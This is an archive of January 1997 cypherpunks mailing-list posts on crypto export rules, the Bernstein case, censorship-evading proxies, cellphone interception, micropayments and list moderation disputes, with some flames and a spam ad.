> > and "evil" are abstract concepts which fluctuate from individual to 
> > individual.
> 
> An excellent point, Jane. Worth remembering.

	Why not archive it ...as it may be worth something someday....

oksas





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 21 Jan 1997 12:08:00 -0800 (PST)
To: Marc <marc@deepsea.sys.web-uk.net>
Subject: Re: HOW AM I MEANT TO GET OFF THIS LIST!
In-Reply-To: <Pine.LNX.3.93.970121183757.7398A-100000@deepsea.sys.web-uk.net>
Message-ID: <32E53982.3794@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Marc wrote:
> 
> This thing keeps saying im not on it but am!
> someone help me.

  It wouldn't hurt to provide details of what commands you are sending
to the majordomo and what you receive back from it.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Tue, 21 Jan 1997 10:50:06 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: GSM technology
In-Reply-To: <40uV1D91w165w@bwalk.dm.com>
Message-ID: <Pine.SOL.3.93.970121134815.9530B-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 21 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> 
> > 	ADSL will be the best for movies... i can't wait .
> 
> What kind of movies?

	You're too young to watch these..:)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 21 Jan 1997 10:48:02 -0800 (PST)
To: cypherpunks <declan@well.com>
Subject: Fighting the cybercensor.
Message-ID: <01BC07A2.1CDA0D80@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Mission:

Singapore and China are blocking certain net groups. I think
this is a bad thing, question is how can we stop it? The Web
was conceived as offering despots and dictators a choice 
between remaining in the dark ages and allowing freedom of
speech. Blocking and filtering schemes threaten this ideal.


Requirements:

A scheme which makes blocking of individual IP addresses 
impractical.


Architecture:

The Web allows for proxies such as provided by the CERN server
(and versions of Apache etc). A proxy server configured to
accept connections from domains enforcing blocking (china, 
Singapore etc) can serve as a means of circumventing the 
restrictions.

The problem then arises, how can the victims of censorship
find out about the holes in the curtain? I believe that it
would not be difficult to persuade large numbers of people to
mirror a list of sites maintained at a central location. The
blue ribbon campaign attracted a lot of interest on the same
topic. Activity that brought to light the political aspect
of Web censorship would help the domestic anti-CDA effort.


Considerations:
[i.e. areas needing brainstorming]

1) Copyright. Clearly copyright holders such as CNN etc would
need to be involved. Although proxies have long been a part of 
the Web and the scheme does not threaten their interests it would
be as well to get them on board at an early stage.

2) How can one prevent the proxies themselves being blocked? Some
ideas that come to mind:

2a) Only issue new sites gradually so that blocking requires
continuous updates.

2b) Use DHCP to change network addresses regularly.

2c) Some crypto hack I can't quite work out (hence the post to
cypher punks). I can phrase the challenge more compactly though.
We have two sets of opposed groups A and M. The A group wish to
establish a continued conversation with groups B and C. M is 
willing to permit communication with group B but not C. Whenever
M discovers that a member of group B is willing to act on behalf 
of group C, M transfers that member to the C group.

The problem is to keep A's channels of communication open despite
the efforts of M for very large group sizes. 

I'm not sure if this is a pure crypto challenge or a game theory
problem.


Comments? If people are willing to work on this I can provide 
some facilities and act as a media contact.


		Phill









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian D Williams <talon57@well.com>
Date: Tue, 21 Jan 1997 14:05:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: [NONCRYPTO] speaking of ADSL
Message-ID: <199701212204.OAA12740@well.com>
MIME-Version: 1.0
Content-Type: text/plain



 ADSL fans may be interested to know that Ameritech has a 200 unit
ADSL trial underway in Wheaton Il as I speak. It is going very
well. The units are currently running 1.5Mbs, (T-1) but are
scheduled to go to 3Mbs later this year.

Next year rumor is 6Mbs.

In an interesting example of "Brazil Effect", ADSL may first come
to older areas, because they are all direct copper.

If I could only get ADSL cards for my DMS100.  ;)

Brian

Network Premise engineer
Ameritech Data Center
Chicago

Extropian
Cypherpunk




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 21 Jan 1997 11:43:44 -0800 (PST)
To: "'Jeff Barber'" <jeffb@issl.atl.hp.com>
Subject: RE: Newt's phone calls
Message-ID: <01BC07A9.10CE1520@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




>No, the real danger in weak crypto is that the poorly-informed will not
>think about it *at all*.  If we had "poor crypto", Newt probably wouldn't
>have been embarrassed by this sort of casual interception, and the issue
>wouldn't have been raised in the public mind.  But our communications
>still wouldn't be safe from more determined attackers.  Brouhahas like
>these are good for the pro-(strong-)crypto agenda.

Not the way we've being going on, Zero coverage of the
crypto issue, zip, nada. That points to EFF and CDT not
being on the ball on the crypto issue.

	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 21 Jan 1997 14:40:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: [NOISE] Re: Dr. Vulis' social engineering experiment
Message-ID: <199701212240.OAA13169@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:35 PM 1/20/97 -0800, Toto wrote:

>  In short, I believe that if the issue of free speech is not one of
>the central issues on the CypherPunks list, then the list is merely
>one more heartless, unfeeling extension of the Great Machine which
>is grinding inexorably forward toward the day when we will all have
>its numbers tattoo'd on our forearms.

That machine will be the SIXTH model made by a little firm on the thirteenth
floor of an office building.
It will operate on several thousand 6X86 processors.
It will operate either on MSDOS 6.0 or UNIX V6R4, depending on how soon it
is completed.

And it won't be our forearms, we can cover those with sleeves.  It will be
our brow.  (please excuse the spelling).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 21 Jan 1997 14:40:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: microcurrency: Netscape vs. Microsoft
Message-ID: <199701212240.OAA13179@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:13 PM 1/20/97 -0800, Lucky Green wrote:
>At 11:46 AM 1/20/97 -0800, Vladimir Z. Nuri wrote:

>>1. an html tag that indicates how much a link costs, probably in
>>the <a href="" cost=xx> type syntax
>
>This could be done, but is, IMHO, too inflexible.
>
Also, with tags, I could download the page with good old fashioned netscape
3.0 Gold, (possibly the last browser without this), allowing me to get the
entire page, neutralize the tag either by hand or with a simple app. and
view the site sans payment.  The blocks that I see to this are server push
upon receipt of cash and encrypted pages only accessable upon (automatic)
payment, not unlike pay-per-view satellite television.  The problem here is
the patent that was stirring up trouble here a few months ago.  The one that
Compuserve stood up against involving the use of this on computer networks.
I really think that a tag alone wouldn't be worth much, not without a CGI
script to verify it or a JAVA app. to run it.

Please correct me if I am in error.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Tue, 21 Jan 1997 12:03:15 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks List)
Subject: Re: Newt's phone calls
In-Reply-To: <01BC07A9.10CE1520@crecy.ai.mit.edu>
Message-ID: <199701212019.PAA13783@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain


Phillip M. Hallam-Baker writes:

> >No, the real danger in weak crypto is that the poorly-informed will not
> >think about it *at all*.  If we had "poor crypto", Newt probably wouldn't
> >have been embarrassed by this sort of casual interception, and the issue
> >wouldn't have been raised in the public mind.  But our communications
> >still wouldn't be safe from more determined attackers.  Brouhahas like
> >these are good for the pro-(strong-)crypto agenda.
> 
> Not the way we've being going on, Zero coverage of the
> crypto issue, zip, nada.

It was pointed out (in network newscasts, for example) that cellular
communications are completely unprotected and available for the taking
by anyone with a radio scanner.  I count this as good exposure even if
the alternatives weren't explicitly discussed.


-- Jeff




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 21 Jan 1997 15:41:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dr. Vulis' social engineering experiment
Message-ID: <199701212341.PAA13971@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:35 AM 1/21/97 -0500, Jane Jefferson wrote:

>Governments, however, are made up of the very same people who claim
>to require these rights to privacy. Those people create, codify and 
>enforce the laws. The problem is that the people who find themselves in 
>this position of power are not always the most moral or concerned with 
>the best interest of the majority. 
>
>And fiendishly, it is the very chaos and anarchy and random chance 
>espoused by proponents of the cypherpunk philosophy that allows these
>people to gain this power, unchecked! 
> 
>Thus, the real problem ends up being not "how to control the government
>so that the government doesn't control us", but "how to deal with the 
>government when it goes into control-freak mode". That it will go into
>such a mode is a given -- based on human nature and history. This is
>a fundamental cycle of evolution and human behavior. We have to face
>the fact that humans are predators, and as long as we are, the 
>cycle of this behavior will continue. 

Also, remember, that those people willing to put up with the responsibility
of leadership are more often more extreme control freaks than the rest of
the population.  Persons asked on the street if they wanted to be president
of the United States have often said no way, yet every four years we have at
least two people willing to put up with the hassle in order to be the most
powerful man in the country.
What we need is a leader who is willing to put up with it for h[is/er]
people/cause, but has no desire to stay any longer than absolutely necessary.
Then we need another just like h[im/er] for the next term.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 21 Jan 1997 15:41:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dr. Vulis' social engineering "experiment"
Message-ID: <199701212341.PAA13985@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:22 AM 1/21/97 -0800, Toto wrote:
>Bill Campbell wrote:
>
>> I feel we at a *critical* crossroads in this debate, and one of the
>> more important voices has *very* effectively been silenced.
>
>  Dr. Vulis? There was an 'attempt' to silence him, but it hasn't 
>worked, to date.
> 
I believe he is referring to silencing the list, not Vulis.  As long as the
members of this list are argueing over semantics, the government has one
less challenger in the fight over our rights.
Remember, one of the oldest tactics of war is to turn the enemy against itself.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 21 Jan 1997 15:41:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Technical data" exemptions in new crypto regs
Message-ID: <199701212341.PAA13998@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:17 AM 1/21/97 -0500, Richard L. Field wrote:
...
>  I read the new regs as permitting:  (i) publication of source code in
>paper form (including publications reproduced on microfilm or on prerecorded
>phonograph records), or in the form of a motion picture film and soundtrack
>(section 734.3(b)(2)); and, separately, (ii) teaching or discussion of
>information "about" cryptography (section 744.9).  The export of other
>encryption materials (including the distribution to non-US persons of source
>or object code on diskettes) is restricted, even if the materials are
>publicly available "educational information" for release by instruction in
>catalog courses and associated teaching laboratories of academic
>institutions (section 734.9).
...
This has often reminded me of something that occurred around 1776.
I can't remember if it was before or after.
Remember how the colonies got sophisticated spinning gear?
I believe it was spinning gear.
Great Britain had a ban on the export of functional models, diagrams or
manufacturing instructions to one particular class of equipment.  This was
so that they could maintain the monopoly on cheaply made cloth, holding the
outlying colonies in line by maintaining a dependancy.
One man memorized the structure of one of these machines and then came to
the American shores, where he reproduced it workably.

I can't remember the name of the man or the machine, just that it was used
in the manufacture of cloth, the "spinning jenny" i think.  Nor can I
remember the date.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Tue, 21 Jan 1997 17:33:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701212345.PAA17403@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Is there a moderated list available which expunges only Dale?

The good Dr., though vicious, is really quite clever, though vicious.

Dale is only a bore. Only.

Hugs to all.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Lehmann (SSASyd)" <LEHMANNJ@saatchi.com.au>
Date: Mon, 20 Jan 1997 20:55:37 -0800 (PST)
To: "'cypher-punks'" <cypherpunks@toad.com>
Subject: RE: Disseminating public-key crypto source code
Message-ID: <32E45B6B@smtp.saatchi.com.au>
MIME-Version: 1.0
Content-Type: text/plain



>
>I've written a few Perl routines for public-key cryptography.  I'd
>like to freely disseminate the source code (starting with ElGamal) to
>as many people as I can,
>
>It's my understanding that there are two orthogonal restrictions:
>
>        1) ITAResque: I can't give code to non-U.S. citizens.
>        2) PKPesque: Using public-key crypto is an infringement,
>                     although disseminating/possessing the source
>                     code is not.
>
>While I'm sure these are oversimplifications, it would seem that I can
>release my source code over the Internet provided I install a simple
>verification mechanism (cf. MIT's PGP distribution) to ensure that
>only people claiming to be U.S. citizens have access privileges.
>
>Am I correct?  If so, why aren't more people doing this?
>

People do do this, but if you are using RSA or other methods patented in   
the US, you might want to look at them.  Is the concept of PK   
cryptography patented?

And of course you are familiar with Bernstein v DoS...   
 [http://www.eff.org/pub/Legal/Cases/Bernstein_v_DoS/HTML/bernstein_961218  
_pressrel.html]

>The plaintiff in the case, Daniel J. Bernstein, Research Assistant   
Professor at >the University of Illinois at Chicago, developed an   
"encryption
>algorithm" (a recipe or set of instructions) that he wanted to publish   
in printed >journals as well as on the Internet. Bernstein sued the
>government, claiming that the government's requirements that he register   
as an >arms dealer and seek government permission before publication
>was a violation of his First Amendment right of free speech. This is   
required by >the Arms Export Control Act and its implementing   
regulations,
>the International Traffic in Arms Regulations.
>
>In the first phase of this litigation, the government argued that since   
Bernstein's >ideas were expressed, in part, in computer language (source
>code), they were not protected by the First Amendment. On April 15,   
1996, >Judge Patel rejected that argument and held for the first time   
that
>computer source code is protected speech for purposes of the First   
>Amendment.

...here Perl has the advantage of being a scripting language, and so by   
default comes as source, though if you had written the routines in a   
scripting langauge like Python, you might find it easier to convince a   
judge that it was in fact human readable...

 --
John "BTW IANAL" Lehmann




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Lehmann (SSASyd) <LEHMANNJ@saatchi.com.au>
Date: Mon, 20 Jan 1997 21:25:53 -0800 (PST)
To: "'cypher-punks'" <cypherpunks@toad.com>
Subject: RE: Disseminating public-key crypto source code
Message-ID: <199701210525.VAA29122@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



>
>I've written a few Perl routines for public-key cryptography.  I'd
>like to freely disseminate the source code (starting with ElGamal) to
>as many people as I can,
>
>It's my understanding that there are two orthogonal restrictions:
>
>        1) ITAResque: I can't give code to non-U.S. citizens.
>        2) PKPesque: Using public-key crypto is an infringement,
>                     although disseminating/possessing the source
>                     code is not.
>
>While I'm sure these are oversimplifications, it would seem that I can
>release my source code over the Internet provided I install a simple
>verification mechanism (cf. MIT's PGP distribution) to ensure that
>only people claiming to be U.S. citizens have access privileges.
>
>Am I correct?  If so, why aren't more people doing this?
>

People do do this, but if you are using RSA or other methods patented in   
the US, you might want to look at them.  Is the concept of PK   
cryptography patented?

And of course you are familiar with Bernstein v DoS...   
 [http://www.eff.org/pub/Legal/Cases/Bernstein_v_DoS/HTML/bernstein_961218  
_pressrel.html]

>The plaintiff in the case, Daniel J. Bernstein, Research Assistant   
Professor at >the University of Illinois at Chicago, developed an   
"encryption
>algorithm" (a recipe or set of instructions) that he wanted to publish   
in printed >journals as well as on the Internet. Bernstein sued the
>government, claiming that the government's requirements that he register   
as an >arms dealer and seek government permission before publication
>was a violation of his First Amendment right of free speech. This is   
required by >the Arms Export Control Act and its implementing   
regulations,
>the International Traffic in Arms Regulations.
>
>In the first phase of this litigation, the government argued that since   
Bernstein's >ideas were expressed, in part, in computer language (source
>code), they were not protected by the First Amendment. On April 15,   
1996, >Judge Patel rejected that argument and held for the first time   
that
>computer source code is protected speech for purposes of the First   
>Amendment.

...here Perl has the advantage of being a scripting language, and so by   
default comes as source, though if you had written the routines in a   
scripting langauge like Python, you might find it easier to convince a   
judge that it was in fact human readable...

 --
John "BTW IANAL" Lehmann





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Tue, 21 Jan 1997 17:40:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ANNOUNCEMENT] Accounts payable
Message-ID: <199701220018.QAA23035@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


As `homo' as he might be, Timmy May is not of 
the species `Homo Sapiens', but rather `Papio 
Mephitis'. Unlike human beings, he has not 
descended from apes --- yet.

    .oooO           Oooo.
    (   )   _   _   (   )
     \ (   / ) ( \   ) /
  ----\_)-/ (---) \-(_/----
         (   ) (   )
         oooO   Oooo





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CV Communications <sales@quantcom.com>
Date: Tue, 21 Jan 1997 14:13:48 -0800 (PST)
To: "ctbsriptde@aol.com>
Subject: Customers For You!!
Message-ID: <21270787100381@quantcom.com>
MIME-Version: 1.0
Content-Type: text/plain


The following message has been brought to you by Quantum Communications.
If you would like advertising rates and information, send an email to info@quantcom.com
or visit our website http://www.quantcom.com
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz
Date: Mon, 20 Jan 1997 19:30:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Menwith Hill / NSA
Message-ID: <85381742124765@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


I've just heard from Duncan Campbell (who made the documentary), he'll send me
a copy of the script which can be put on the web.  I'll let people know when
it's available.  Copies of the tape can be ordered from his company:
 
  IPTV Ltd
  1 Meadowbank
  Edinburgh EH8 8JE
  Scotland, UK
 
  E-mail : duncan@gn.apc.org           Tel : +44 131 659 6566
 
Cost is \pounds 14.50 stg + any postage costs for outside UK - \pounds 5 will
cover it.
 
They have no NTSC versions in stock but can make them from the master. Provided
they get orders for at least 10, the cost will be the same.  They accept
payment in US$ cheques as well as \pounds stg cheques; no credit cards, sorry.
 
He is, in theory, on holiday for another month or so and only has intermittent
net connectivity, so please don't flood him with email just yet.
 
Peter.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz
Date: Mon, 20 Jan 1997 20:25:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Menwith Hill / NSA
Message-ID: <199701210425.UAA28205@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I've just heard from Duncan Campbell (who made the documentary), he'll send me
a copy of the script which can be put on the web.  I'll let people know when
it's available.  Copies of the tape can be ordered from his company:
 
  IPTV Ltd
  1 Meadowbank
  Edinburgh EH8 8JE
  Scotland, UK
 
  E-mail : duncan@gn.apc.org           Tel : +44 131 659 6566
 
Cost is \pounds 14.50 stg + any postage costs for outside UK - \pounds 5 will
cover it.
 
They have no NTSC versions in stock but can make them from the master. Provided
they get orders for at least 10, the cost will be the same.  They accept
payment in US$ cheques as well as \pounds stg cheques; no credit cards, sorry.
 
He is, in theory, on holiday for another month or so and only has intermittent
net connectivity, so please don't flood him with email just yet.
 
Peter.
 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Johnson <mpj@csn.net>
Date: Tue, 21 Jan 1997 15:43:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: North American crypto archive
Message-ID: <Pine.3.89.9701211606.A22245-0100000@teal.csn.net>
MIME-Version: 1.0
Content-Type: text/plain


[I'm not on this list, so please CC: me on replies. Thanks!]
-----BEGIN PGP SIGNED MESSAGE-----



There is another change to the way I distribute strong
cryptographic software at my ftp site (ftp://ftp.csn.net/mpj/).
The strong cryptographic software is still in a hidden directory
with a name that changes periodically, but access is via a
password protected web form at http://www.sni.net/~mpj/na/ that
has the current hidden directory name expanded in it. To get
your very own user name and password, please fill out the form
at http://www.sni.net/~mpj/getcrypt.htm, and then watch your
email box.

This change is to comply with the new Export Administration
Regulation (EAR) changes that require "checking the destination
machine's address" to ensure that it is in the USA or Canada to
avoid being accused of exporting without a license.  My many
friends outside of North America need not feel left out,
however, as I have a nice listing of some good crypto sites that
they can legally access at http://www.sni.net/~mpj/freecryp.htm,
which probably points to places with most, if not all, of the
cryptographic programs that are archived at my site.

Although the hoops are not so hard to navigate at crypto sites
outside of North America, I hope that a well-connected site in
Colorado will provide faster downloads for people in the USA and
Canada. This ftp site is rather busy, so if your connection is
refused, please try back at a time that is less busy.

If you have some high quality, strong cryptographic software or
libraries that you would like me to host, please let me know at
mpj@csn.net. Space is limited, but I have room for a few more
things, like programs to take on the RSA challenge contests,
etc.

Peace to you.

Michael Paul Johnson     mpj@csn.net
PO Box 1151              http://www.sni.net/~mpj
Longmont CO 80502-1151
USA



-----BEGIN PGP SIGNATURE-----
Version: 2.7.1

iQEVAgUBMuVgv2+Iqt/O4EnZAQFCmQgAjgWszTVkWNE5PeYayjsIOTqGFODueqdx
gpRZbHhKspZTFlmPfxuB0p2wqflAcKrnC2QhJWJs2Je10vLKNE/4P8dif31I62zc
vDJPnpsuXZnjfC1Wo+iPozrpO+0oYb8k9KH/MZNTPDUWpeT2f35tkg2Kzg+eW/2Z
6jJnbLB/IfzZlTb4/bwF12wwUiNNbAR54hnxR1tMaa4wEA+Ti5eFEKtWobhn6hLH
HP5fyvSa/adYUj3z8F3As7k/ClcWkyd0ygUVsWXeMphD7nxEEH6Z2JW3OrvyRbjh
l//8Egaaz1IgZf+i11C/o/nIJWac0JBqRcSsDBaqMC01+RfN5zrJvw==
=TIwr
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 21 Jan 1997 14:58:50 -0800 (PST)
To: roach_s@alph.swosu.edu (Sean Roach)
Subject: Re: [NOISE] Re: Dr. Vulis' social engineering experiment
In-Reply-To: <199701212240.OAA13169@toad.com>
Message-ID: <199701212252.QAA01519@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Sean Roach wrote:
> That machine will be the SIXTH model made by a little firm on the thirteenth
> floor of an office building.
> It will operate on several thousand 6X86 processors.
> It will operate either on MSDOS 6.0 or UNIX V6R4, depending on how soon it
> is completed.
> 
> And it won't be our forearms, we can cover those with sleeves.  It will be
> our brow.  (please excuse the spelling).
> 

yeah, 6000 processors, all managed by MS-DOS. And 30,000 couriers alone.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Smith <smith@sctc.com>
Date: Tue, 21 Jan 1997 15:33:48 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: Keyword scanning/speech recognition
Message-ID: <199701212311.RAA15832@shade.sctc.com>
MIME-Version: 1.0
Content-Type: text/plain


pgut001@cs.auckland.ac.nz wrote:

: I was talking to someone recently about the feasibilty of keyword-scanning
: phone conversations....

My first "real" job in the computer industry was for a garage shop
doing speech recognition. We did a demo system in 1977 for Rome Labs
that did exactly what you're asking about: scanning a stream of
continuous speech over a telephone line looking for key words. It was
tolerably effective: I forget the success rate but it was above 90%.
But we were never asked to go past the research prototype.

We did it the "hard way" in that we were trying to solve the "talk to
the computer" problem which is harder than the "look for something
suspicious worth looking closer at" problem. I expect they were looking
for something to cut down on their false positives and perhaps we weren't
significantly better than what they were already doing.

: "Discrete Utterance Speech Recognition without Time Alignment", John Shore
: and David Burton, IEEE Trans.Information Theory, Vol.29, No.4 (July 1983),
:  p.473.
:  
:This generates a feature vector every 10-30ms from input speech which is
:compared to pre-generated reference sequences.  It also has references to many
:other papers covering the same area.

When I worked in the field "discrete utterance" was the buzz phrase
for talking with - pauses - between - each - word. Ecch. Our
commercial systems at the time (late '70s) used discrete speech
without time alignment since we could process 8 input channels
simultaneously.  Ahhh. The joys of microcoding for a 74S181 ALU.

Rick.
smith@sctc.com            secure computing corporation




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 21 Jan 1997 14:31:41 -0800 (PST)
To: hallam@ai.mit.edu (Phillip M. Hallam-Baker)
Subject: Re: Newt's phone calls
In-Reply-To: <199701212026.MAA11273@toad.com>
Message-ID: <199701212223.RAA26149@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Phillip M. Hallam-Baker wrote:
| >No, the real danger in weak crypto is that the poorly-informed will not
| >think about it *at all*.  If we had "poor crypto", Newt probably wouldn't
| >have been embarrassed by this sort of casual interception, and the issue
| >wouldn't have been raised in the public mind.  But our communications
| >still wouldn't be safe from more determined attackers.  Brouhahas like
| >these are good for the pro-(strong-)crypto agenda.
| 
| Not the way we've being going on, Zero coverage of the
| crypto issue, zip, nada. That points to EFF and CDT not
| being on the ball on the crypto issue.

Was on the NYT op-ed page on Monday.  Something about scanners had a
few closing paragraphs about the ITARs with a comment from (David
Sobel)?

Adam



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Tue, 21 Jan 1997 17:26:41 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
Message-ID: <v02140b01af0a16a77c3a@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>>This is the approach taken by PGPfone also.  If the value of the
>>conversations was high (>$100,000?) passable voice imitation wouldn't
>>be that hard I suspect.
>
>I have long considered how easy it would be to use a sound card to modify
>the human voice to match within certain tolerances the voice of another.
>
>There are currently on the market, phones specifically designed to modify
>the voice of the user so that kids can answer as adults, women can answer as
>thier own protective boyfriends, bosses can answer anonymous calls as the
>secretary, etc...
>
>There are currently on the market keyboards that allow you to sample some
>real world sound and use it as a voice in your music, (the model I saw, a
>toy produced by Radio Shack, simply sped up or slowed down the sound to
>achieve this.)
>
>I have thought, if a machine were to take the incoming voice, analize
>(apologies for spelling) it to get a spectrum signature, a pattern that can
>be added or subtracted from another, and could then add the difference
>between that and the victims signature to the users voice, then real-time,
>on-the-fly con jobs would be easy.
>
>The only thing that the user would be responsible for would be the accent,
>and the day-to-day vocabulary of the victim.
>
>I told a friend about this and he confirmed that such was available if you
>knew where to look.

A friend of mine, an expert on signal processing, vocei systhesis and
recognition, showed me a journal article (think it was an IEEE) in 1990 of
some university researchers who had prototyped just such a device.  Never
followed up, but it seems entirely reasonable a practicle.  In fact I'm
surprised that Hollywood hasn't latched onto this in order to dub film
stars to different languages w/o loosing their recognizable voice
characteristics.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 21 Jan 1997 15:29:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: CypherPunks Supports UCE Spammers!
In-Reply-To: <21270787100381@quantcom.com>
Message-ID: <32E56DE6.517A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


CV Communications wrote:
> The following message has been brought to you by Quantum Communications.
> If you would like advertising rates and information, send an email to info@quantcom.com

  I find it interesting that those who control the CypherPunks list
would go to great lengths to censor the free speech of list members,
and yet be perfectly willing to allow those who wish to view all
postings by list members to be subjected to bulk UCE bombing by
those outside the list.
  Am I just blowing smoke in suggesting that this may be just a
big FUCK YOU! to the list members who don't want to 'toe the
line' in regard to list member censorship?
  Is there 'anyone' on the list who 'wants' to receive UCE/Spam?
If there is, I would certainly like to see the posts indicating
their desire to receive it. I am sure that their desire can be
realized beyond their wildest dreams.

  I have no problem with John taking control of his own private
list, in order to control its content and future direction, but
I think that it is rude beyond belief to make great pretentions
of taking actions for 'the good of the list' and yet not lift a
single finger to prevent toad.com from aiding in the proliferation
of UCE/Spam.

  Other lists are able to block UCE/Spam, and make an effort to do
so, without using it as a 'tool', or an 'excuse', to censor the
content of their list by list subscribers.
  It is obvious that toad.com shows no interest in halting their
role as an accessory in the promotion of UCE/Spam, but has the
time and energy to censor their list members.
  The words 'pettiness' and 'bullshit' come to mind, when I view
the way that 'moderation' has been approached on this list.

  If you reply to this post, please do so politely.
  I'm a sensitive guy, and my feelings are easily hurt.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Tue, 21 Jan 1997 14:41:19 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Dr. Vulis' social engineering experiment
Message-ID: <3.0.32.19970121174238.00687e7c@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/enriched

At 12:27 AM 1/21/97 -0600, you wrote:
:Jane Jefferson wrote:
:> 
:> The heart and soul of the problem is that "sin", "freedom", "good", 
:> and "evil" are abstract concepts which fluctuate from individual to 
:> individual.
:
:An excellent point, Jane. Worth remembering.
:
:	- Igor.

Not only from individual to individual.

Please consider the changes in the concepts of "sin", "freedom", "good", 
and "evil" which occur over time even within the same individual; to wit the on and off again love affair with our nation's past "enemies; individual responses to drug use especially alcohol; premarital sex (ok for me but not my daughter).

This constant flux within both society and individual makes creation and implementation of rules extremely difficult and hazardous.

Alec  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 21 Jan 1997 16:30:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: HOW AM I MEANT TO GET OFF THIS LIST!
In-Reply-To: <Pine.LNX.3.93.970121183757.7398A-100000@deepsea.sys.web-uk.net>
Message-ID: <36kw1D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Marc <marc@deepsea.sys.web-uk.net> writes:

> 
